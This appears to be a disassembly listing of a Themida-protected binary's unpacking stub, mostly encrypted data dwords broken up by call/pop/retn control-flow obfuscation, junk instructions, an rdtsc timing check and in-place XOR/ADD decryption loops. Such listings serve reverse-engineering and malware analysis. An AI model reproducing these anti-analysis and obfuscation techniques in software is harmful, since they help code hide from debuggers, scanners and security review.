dd 0F5B5652h, 0F525031h, 5A585A31h, 448B5F58h, 8B560424h
dd 8B5FFEh, 448965B3h, 8B660424h, 0FFF858DAh, 150DAD95h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0BD89FE61h, 6150D61h, 0BF998589h, 9D890618h
dd 6152AF5h, 25FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 6405607Ch, 29C105D7h
dd 151C91BDh, 5DBD8B06h, 81061510h, 8F8DDAE3h, 91858B74h
dd 570618BFh, 2C8DBD33h, 0C75F0615h, 1800h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0F781E5F1h, 89256F0Ch, 1502958Dh, 95B58B06h, 90618BFh
dd 1525D59Dh, 0D5BD3306h, 8B06151Dh, 150C4585h, 0CB816606h
dd 68902C0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 7EC35040h, 0E9B529D3h, 8B06150Ah, 15249D85h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0EE3729F7h, 0D2C16E83h, 1DBD3188h, 89061505h, 6A0446h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 39F83C3h, 15189D9Dh, 0BE806h, 75B30000h, 8D595BC0h
dd 1312A8F7h, 0C5BD89A7h, 5B06150Ch, 50B4B796h, 10E8h
dd 9C20AE00h, 8A86646Eh, 15CAC3C3h, 7324397Ch, 55EDBF1Ah
dd 965F6CD2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0B0C35141h, 0DC9EC951h, 0FF012497h, 18BF91B5h
dd 119D2B06h, 0E8061501h, 4, 1F03FFh, 50FE8B66h, 8B665250h
dd 50310FFEh, 8E0F52h, 0F000000h, 5A2EB731h, 8B585A58h
dd 0E8042444h, 11h, 0BB7F7805h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah
dd 0E9525081h, 5, 6AACBEC5h, 50310FFDh, 5A310F52h, 5B585A58h
dd 4489008Bh, 52500424h, 9416BB66h, 0BF66310Fh, 585ADAB6h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 3E9D2075h, 8589D8E5h, 6151511h, 31B52953h
dd 5F061507h, 0BF99858Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0F12C3CC3h, 1E254EB3h
dd 14E850B2h, 2000000h, 0D9098C67h, 9D659CEDh, 77ACC51h
dd 0AA0AF49Ah, 8BFAD7A3h, 4895BD9h, 0F98B6624h, 0DAD95FFh
dd 0B5890615h, 61506FDh, 0F3816661h, 85C771AAh, 6151115h
dd 3, 83D88B66h, 18BF99BDh, 840F0006h, 36h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h, 7BC62F66h
dd 0D1B9C023h, 0B1F2CF81h, 0BB663699h, 1EE9CFC9h, 66000000h
dd 3050F98Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 0BD8953C0h, 6152351h, 0FB8B665Bh, 1115BD83h
dd 0F030615h, 39785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 2038018Eh, 661D0806h
dd 831284BFh, 18BF99BDh, 840F0006h, 364h, 17E19D8Bh, 0B5FF0615h
dd 618BF99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 82C35646h, 30731A4Dh, 8A45B1E1h, 0E195FFDEh, 8B061510h
dd 151E71BDh, 8DB58B06h, 8B0618BFh, 15232DBDh, 2890F06h
dd 8B000000h, 106C7D8h, 1000100h, 152B3D95h, 7EBB9606h
dd 503E8040h, 1FB75250h, 585A310Fh, 57006A96h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 62DDCD54h
dd 9D8BE677h, 6150551h, 0BF99B5FFh, 6A0618h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0AFDB6C3h
dd 12E859h, 0D99D0000h, 0AEF76359h, 0FFD2EE24h, 780BAA22h
dd 9ABF6215h, 10A59D33h, 895B0615h
dd 1518C585h, 0A195FF06h, 6A061506h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0B4D2C353h
dd 812D4E2Bh, 0C3816652h, 8B5B31F5h, 152D1DBDh, 8DB58B06h
dd 6A0618BFh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 0C28FC352h, 281C1BDCh, 858B440Fh
dd 6150059h, 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 660792C3h, 9D8BFE8Bh
dd 6152705h, 2721958Bh, 0BD2B0615h, 615140Dh, 6604C283h
dd 5089DA8Bh, 0DA8B5320h, 58858D5Bh, 6A0618D4h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0D206C356h, 5805087h, 5E944h, 0FC6D0000h, 89282E00h
dd 0B886h, 0DE800h, 3C4F0000h, 0D0196F50h, 4452B355h, 660FE6A6h
dd 5BCF6DBFh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 7D7AE2C3h, 882BAE14h, 99B5FF5Bh
dd 6A0618BFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0BB61C351h, 4B8A1EADh, 0BB8AD301h
dd 4663F6AEh, 1D4D95FFh, 95290615h, 6152185h, 0D98B6650h
dd 80243489h, 0B5FF7AD7h, 618BF99h, 0BBA2DF81h, 95FF5726h
dd 6150729h, 8371CF80h, 150065BDh, 840F0006h, 37h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 21C35545h, 8F0F9B24h
dd 6, 4B98D09h, 50960615h, 0BC1274BFh, 0F8BF9623h, 0FF59ED46h
dd 18BF99B5h, 5CC78106h, 0FF78038Eh, 15043995h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 44535A6Ch, 11E9h, 94E91800h, 44DC25B4h, 35F156F8h, 0E1E08F6Dh
dd 0BD8BDB81h, 615144Dh, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 8D0F04C3h
dd 3, 0FFD4F780h, 150DCD95h, 0D98B6606h, 285DBD83h, 0F020615h
dd 3284h, 12E900h, 0A25C0000h, 3CEABC68h, 0C6281D3Dh, 0B46A6D1Eh
dd 3B69CB23h, 2849858Bh, 0DE90615h, 0C5000000h, 0E431D1C6h
dd 3E41353Dh, 706DBC21h, 0C70000C6h, 1523F585h, 6, 0DBB70F00h
dd 0FFF39FE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 5A73E43Fh, 81C50970h
dd 61DD4AF7h, 0FC18B32h, 682h, 11B58900h, 8D061511h, 15279D85h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 28758B56h, 0C9D18EEEh, 0F19D891Eh, 0BF061517h
dd 4D0F2B17h, 0DE96050h, 7C000000h, 0B22849F2h, 0DEAB2ED5h
dd 52C1EE25h, 7D97BF60h, 5E5378E7h, 4896161h, 6A006A24h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 40ECC352h, 0C517AAA6h, 0FFD1AC5Bh, 858950F8h
dd 61506A9h, 6A006A5Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 8DB3C356h, 26A3AB39h
dd 0F5745195h, 83E4858Dh, 6A0619h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0A08F2DC3h, 0BB4C8AF9h
dd 26659D8Bh, 0C0830615h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0F4563520h
dd 60F9D6A6h, 2C8D8D8Bh, 8D8B0615h, 615010Dh, 8B665061h
dd 240489DAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 2FC35545h, 2EDCF01h, 0B3006ACDh, 6A006AB8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 6A6FC350h, 95FF943Eh, 6152679h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 4DC35141h, 0CFDD88EDh, 13E9E9h
dd 65840000h, 0C5E47935h, 1DCF310Ah, 4FF78A32h, 0E8820855h
dd 2D9D8B6Fh, 8D06150Ch, 189C158Dh, 0C3816606h, 0D1FF805Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A3C35242h
dd 468D6EF7h, 0BE9023Ah, 0EE000000h, 773A5DECh, 1ADD752Eh
dd 0BD8307A3h, 6152DB5h, 6C850F01h, 0F5000000h, 8960026Ah
dd 15130D85h, 8D06BE06h, 506123A2h, 0FE9h, 1985CC00h, 160696AEh
dd 9BE51318h, 892C7495h, 6A240489h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7BBEC352h
dd 4D95FFFBh, 6A06151Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 818BC356h, 0E9FFFD5Dh
dd 0C6Eh
; ---------------------------------------------------------------------------
loc_5C1E18: ; DATA XREF: Themida_:0057B7BCo
call $+5
pop ebp
sub ebp, 61983EEh
mov [ebp+6151D8Dh], ebx
push 0
push ebp
call sub_5C1E35
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1E35 proc near ; CODE XREF: Themida_:005C1E2Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5C1E35 endp
; ---------------------------------------------------------------------------
db 26h, 0BBh, 0Bh
; ---------------------------------------------------------------------------
inc ebp
adc eax, 0F9858D22h
mov [eax], bl
push es
push edi
clc
pop edi
push eax
mov bl, 0C0h
mov [esp], eax
push 0
push edx
call sub_5C1E65
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1E65 proc near ; CODE XREF: Themida_:005C1E5Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C1E65 endp
; ---------------------------------------------------------------------------
db 55h, 0E1h, 5Ch
; ---------------------------------------------------------------------------
mov ebx, esi
push large dword ptr fs:0
push 0
push ecx
call sub_5C1E8C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1E8C proc near ; CODE XREF: Themida_:005C1E84p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5C1E8C endp
; ---------------------------------------------------------------------------
dd 0CF66F496h, 64364978h, 2589h, 0B70F0000h, 3585FFDBh
dd 6A061515h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 6337C357h, 89079735h, 150569BDh
dd 0FFFF6A06h, 152D19B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 95FF1135h
dd 61508BDh, 12BE9h, 5100B000h, 292541BFh, 0BD8B5F64h
dd 6152AA1h, 850970E6h, 61525C1h, 8B6671E4h, 0F613CDAh
dd 10783h, 0B5295300h, 61510A9h, 0C8B60F5Bh, 6BAF9h, 0AE80000h
dd 9E000000h, 7218BFF0h, 4CCB185Eh, 3EB810Ah, 5B21AC4Ch
dd 0BD8BC18Bh, 6151291h, 14219D8Bh, 0E8C10615h, 8D9D8B04h
dd 66061530h, 0D98BE2F7h, 9D8BC82Bh, 6150AA9h, 0FE9D18Bh
dd 81000000h, 0AD48E5EEh, 0B6C30FFDh, 8E33DF3Dh, 0E9D0BCh
dd 8B000000h, 15059D85h, 0E99D8B06h, 83061523h, 958907C0h
dd 6152E05h, 6800F56h, 8B000000h, 150AA1BDh, 0C0835F06h
dd 6810F00h, 89000000h, 1504A1BDh, 0FD03B06h, 0B83h, 61E9F500h
dd 0BB000000h, 2C5EA7F7h, 27158D8Bh, 89500615h, 152A859Dh
dd 0E1835F06h, 45840F01h, 0E9000000h, 0Fh, 54839CE3h, 15D734FFh
dd 380AB2C7h, 83114463h, 152715A5h, 9D0BFE06h, 6152AC9h
dd 59D9589h, 14E90615h, 73000000h, 0B140837h, 340A06B2h
dd 0F88F75F0h, 0C9FE13FBh, 0E9E1355Dh, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6190BCCh]
pusha
mov eax, [ebp+6151A59h]
mov ebx, [ebp+61526A5h]
popa
push 0
mov [ebp+6151A6Dh], edi
call dword ptr [ebp+6152E21h]
push 0
push eax
call sub_5C2061
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2061 proc near ; CODE XREF: Themida_:005C2059p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C2061 endp
; ---------------------------------------------------------------------------
db 31h, 12h, 82h
dd 57C0219Ah, 0F99F4943h, 89DB9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0CE78BEF9h
dd 0A1B589D3h, 83061507h, 0FC8AFCE1h, 0F5B589FCh, 2B061510h
dd 759529C0h, 0BA061502h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5C20CB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C20CB proc near ; CODE XREF: Themida_:005C20C3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5C20CB endp
; ---------------------------------------------------------------------------
db 46h
dd 5F59ED84h, 0E15D5DA1h, 0BE860D4h, 9B000000h, 782AC62Ch
dd 982E301Ah, 59FC8DADh, 2EC5F4B9h, 33AD6132h, 3E8D1C2h
dd 4E983D0h, 10E9F475h, 0E7000000h, 0AA05E64Ch, 0DFBB4B74h
dd 4EFC1321h, 9BC59B8h, 1518E595h, 880D06h, 0CE90000h
dd 61000000h, 2B3AD99Ch, 641B84A4h, 607A5A9Dh, 7A0FD781h
dd 95893974h, 61522D9h, 21958B61h, 6A061527h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 700DC351h, 91DC4082h, 8D8B70E6h, 61504CDh, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 66674CC3h
dd 168C0Fh, 11E90000h, 39000000h, 938B8494h, 56B77ADCh
dd 1756D606h, 72A28EE1h, 52DBD8Bh, 0BB660615h, 0BD839F75h
dd 61518A9h, 58840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2A64C353h
dd 0C7044A6Eh, 24DB81CBh, 0B804B553h, 0
; ---------------------------------------------------------------------------
mov ebx, 4B149C88h
lea ecx, [ebp+6154F9Eh]
xor edi, [ebp+6152A4Dh]
mov edi, [ebp+6152FD9h]
jmp ecx
; ---------------------------------------------------------------------------
jmp loc_5C2233
; ---------------------------------------------------------------------------
dw 0D268h
dd 10E40EE9h, 0C0C7033Ch
db 7Dh, 92h, 5
; ---------------------------------------------------------------------------
loc_5C2233: ; CODE XREF: Themida_:005C2221j
cmp dword ptr [ebp+6151115h], 0
jz loc_5C2671
push edx
jmp loc_5C2254
; ---------------------------------------------------------------------------
dw 0CC09h
dd 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh
; ---------------------------------------------------------------------------
loc_5C2254: ; CODE XREF: Themida_:005C2241j
pop ebx
mov ebx, 7C563BCBh
cmp dword ptr [ebp+6151115h], 1
jz loc_5C268C
mov [ebp+6153475h], ecx
mov di, 9AE8h
cmp dword ptr [ebp+6151115h], 3
jbe loc_5C2656
sub [ebp+6151031h], esi
pusha
push 0
push edi
call sub_5C2290
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2290 proc near ; CODE XREF: Themida_:005C2288p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5C2290 endp
; ---------------------------------------------------------------------------
dd 77AD4AE1h, 8C66427Bh, 14E9D9h, 287F0000h, 3EF09798h
dd 0C354A742h, 12903125h, 0D242EBEBh, 0E1807ECBh, 56006A04h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0CD7B983Ch, 840FC90Ah, 0F9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0F7C35747h, 53EFD354h, 97BF660Bh
dd 9D858B93h, 0F061524h, 8Fh, 33FA8B00h, 1519B585h, 0DA8B9006h
dd 0B8666050h, 8B66850Ch, 0F9061F1h, 6AFABFh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h, 813F8D91h
dd 8BD2F689h, 150C6DBDh, 85D86806h, 348168C8h, 0D7862724h
dd 0C820F68h, 0F000000h, 68Ah, 0F5858900h, 0FF061518h
dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 89678CC5h, 152C758Dh, 99858906h
dd 8A0618BFh, 239E9DCh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 6E8409C3h, 5B9030BCh
dd 819D8B89h, 8B061512h, 151005BDh, 91858B06h, 6A0618BFh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0A9A3C356h, 698D8944h, 23061503h, 1533D19Dh
dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 34FC356h, 762ABC28h
dd 0B58BEF6Fh, 618BF95h, 0EE9h, 0F514F200h, 8380DECCh
dd 9FA15158h, 8B05841Eh, 150C4585h, 25B52906h, 89061523h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 76D30D94h, 8B102966h, 68B0FD9h, 31000000h
dd 1526358Dh, 9D858B06h, 60061524h, 0DE9h, 977ABC00h, 5B7821A2h
dd 67D38CD1h, 61FC3DB7h, 6A044689h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 28E3C355h
dd 49DEA71Ch, 6650962Ch, 505BDF8Bh, 8C0Fh, 6A960000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0D315C355h, 544B8F5Eh, 0BD8B1BC7h, 6152555h, 0BF91B5FFh
dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0B6C4E8C3h, 13E9B8h, 0F4C60000h, 0FBAE64D6h
dd 0D2035939h, 0D5F975E2h, 1A83FA23h, 0E2A76849h, 14E864B8h
dd 70000000h, 53EC24D4h, 0C207E36h, 17E6FEA6h, 7E265A71h
dd 51E97990h, 5F5BDA8Bh, 58243481h, 6A64A7E1h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 6F73C353h, 0BF99858Dh, 9D290618h, 61516F1h, 10E890h
dd 7AAA0000h, 72E78175h, 6F5DABC3h, 544538CCh, 52500629h
dd 585A310Fh, 860F505Fh, 1Ch, 8D0F5250h, 0
dd 0AE8310Fh, 10000000h, 51FEEB17h, 0DAFAA8AFh, 585A5F00h
dd 1DC78190h, 0FF0B9647h, 150DAD95h, 0A1BD8906h, 61061512h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A3C35242h
dd 9D8B4609h, 615166Dh, 111585C7h, 30615h, 83FC0000h, 18BF99BDh
dd 840F0006h, 2Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 2DC35141h, 2A806F81h, 1FE9F9h, 8B660000h
; ---------------------------------------------------------------------------
fdivrp st(5), st
loc_5C2656: ; CODE XREF: Themida_:005C2278j
; Themida_:005C266Dj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5C2656
jmp short loc_5C26A7
; ---------------------------------------------------------------------------
loc_5C2671: ; CODE XREF: Themida_:005C223Aj
; Themida_:005C2688j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5C2671
jmp short loc_5C26A7
; ---------------------------------------------------------------------------
loc_5C268C: ; CODE XREF: Themida_:005C2261j
; Themida_:005C26A3j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5C268C
jmp short $+2
loc_5C26A7: ; CODE XREF: Themida_:005C266Fj
; Themida_:005C268Aj
mov eax, eax
mov [ebp+61515DDh], ebx
sub [ebp+61512BDh], ecx
cmp dword ptr [ebp+6151115h], 3
jnz loc_5C2A6F
mov bl, 0A0h
cmp dword ptr [ebp+618BF99h], 0
jz loc_5C2A6F
push 0
push ebp
call sub_5C26DC
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C26DC proc near ; CODE XREF: Themida_:005C26D4p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5C26DC endp
; ---------------------------------------------------------------------------
dd 0E09A5B2Bh, 0BF99B5FFh, 6A0618h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 521FDCC3h
dd 5FE58F18h, 0BB66FB5Dh, 95FF383Ch, 61510E1h, 9C2ABF66h
dd 0BF8DB58Bh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0B6ECD9C3h, 0BC0DC5BFh, 106C742h
dd 89000100h, 15269D8Dh, 34895006h, 0D9BD8B24h, 0FF06151Ch
dd 18BF99B5h, 0B5BF6606h, 0A195FF79h, 89061506h, 15192185h
dd 8DB58B06h, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 1C33C356h, 159938C0h
dd 0BE9h, 0AE9AC100h, 5A67C091h, 0F50B0D3Ch, 59858Bh, 12E80615h
dd 0F5000000h, 6112566Bh, 4275C5B1h, 0CB21276Ch, 849D9627h
dd 0B70F6032h, 895B61CEh, 0C486h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0C78166ACh
dd 958BBD0Dh, 6152721h, 6880Fh, 8D010000h, 61512D5h, 6A04C283h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 537FC350h, 0EE04D3DBh, 0A9BD8BF2h, 8906152Ah
dd 0F3812050h, 76A31484h, 0D458858Dh, 6A0618h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 8937BBC3h, 0B886h, 0E3816000h, 45CE2AFAh, 61DFBF0Fh
dd 0BD03006Ah, 61520C1h, 26FDBD03h, 0B5FF0615h, 618BF99h
dd 0A860BF66h, 1D4D95FFh, 9D890615h, 6150A8Dh, 8ABF6696h
dd 820F5088h, 3, 96D98B66h, 599D8BFCh, 0FF061518h, 18BF99B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 268152DEh, 0FEB16ABh, 2995FFE1h, 6A061507h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 7E7CC355h, 65BD832Eh, 61500h, 32840Fh, 0B70F0000h
dd 348950FBh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 427D973h, 5E973C2h, 8A000000h, 3A37452Dh
dd 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 4FAF4EC3h, 0F16577Dh, 68Ah, 719D8900h
dd 8B061503h, 151A059Dh, 3995FF06h, 6A061504h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 6702C352h, 0EDD9098Ch, 0F780659Ch, 99B5FFFCh, 6A0618BFh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 2FEBC353h, 0DAEF2475h, 0BFC92E63h, 7BD52440h
dd 0DCD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0DA7DB8C3h, 31F8FB8Bh, 1522F18Dh
dd 5DBD8306h, 2061528h, 45840Fh, 0BD8B0000h, 61520C1h
dd 2849858Bh, 0BF0F0615h, 119589FFh, 0C6061523h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 37651EC3h, 0FB46AC5Ah, 0BF0FE251h, 61BD89D9h, 0C7061516h
dd 1523F585h, 6, 0DE900h, 0EF5C0000h, 0FF6CFA22h, 0CDD826DCh
; ---------------------------------------------------------------------------
sbb esi, esp
dec eax
loc_5C2A6F: ; CODE XREF: Themida_:005C26BCj
; Themida_:005C26CBj
jmp near ptr dword_5C1E9C+3Dh
; ---------------------------------------------------------------------------
mov bx, 8551h
mov eax, ecx
jz loc_5C2A86
mov [ebp+61518C5h], esi
loc_5C2A86: ; CODE XREF: Themida_:005C2A7Aj
lea eax, [ebp+615279Dh]
push 0
push esi
call sub_5C2A97
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2A97 proc near ; CODE XREF: Themida_:005C2A8Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5C2A97 endp
; ---------------------------------------------------------------------------
db 78h
db 90h
; ---------------------------------------------------------------------------
jbe loc_5C2AB1
push edx
pop ebx
loc_5C2AB1: ; CODE XREF: Themida_:005C2AA9j
push eax
pusha
pusha
pusha
popa
jl $+6
popa
popa
nop
mov [ebp+6150A31h], ebx
push 0
adc ebx, 5A99FD07h
push 0
jmp loc_5C2ADA
; ---------------------------------------------------------------------------
dd 0F936D48Ah
db 50h, 82h
; ---------------------------------------------------------------------------
loc_5C2ADA: ; CODE XREF: Themida_:005C2ACFj
lea eax, [ebp+6199257h]
add [ebp+61517F1h], ebx
add eax, 5
jmp loc_5C2AF7
; ---------------------------------------------------------------------------
dw 0C0B7h
dd 44B7788Dh
db 75h, 0ABh, 7Fh
; ---------------------------------------------------------------------------
loc_5C2AF7: ; CODE XREF: Themida_:005C2AE9j
nop
mov ebx, 16659B55h
push eax
push eax
push edx
mov di, 753h
rdtsc
js loc_5C2B18
call sub_5C2B17
dec esp
push 0A6BA44B6h
; =============== S U B R O U T I N E =======================================
sub_5C2B17 proc near ; CODE XREF: Themida_:005C2B0Cp
pop edi
loc_5C2B18: ; CODE XREF: Themida_:005C2B06j
pop edx
pop eax
nop
push 0
push ebp
call sub_5C2B26
and [ebp-3Dh], bl
sub_5C2B17 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5C2B26 proc near ; CODE XREF: sub_5C2B17+7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C2B26 endp
; ---------------------------------------------------------------------------
dw 79E7h
dd 0F0A31DC6h, 8D0F8Ah, 66000000h, 0EFBD381h, 8166006Ah
dd 6A22D6CBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 4D5B04AEh, 9AE2A9D9h, 0B589DE81h
dd 6152DD9h, 26119589h, 95FF0615h, 6152679h, 6870Fh, 0BD8B0000h
dd 6151565h, 9C158D8Dh, 9D8B0618h, 6151989h, 6AD1FFh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0FE8BACC3h, 4E9BD8Bh, 0BD830615h, 6152DB5h, 0B3850F01h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0B5A5C356h, 0F94B028Bh, 6A026Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0D1F010C3h, 2004BDBBh, 85295B12h, 6152E99h, 503AB790h
dd 7E8h, 0AD8A1000h, 0D9B563B7h, 0C00AAABBh, 6A905F70h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0AB77C353h, 60608671h, 2341858Bh, 860F0615h
dd 0
; ---------------------------------------------------------------------------
popa
jnp loc_5C2C71
jle $+6
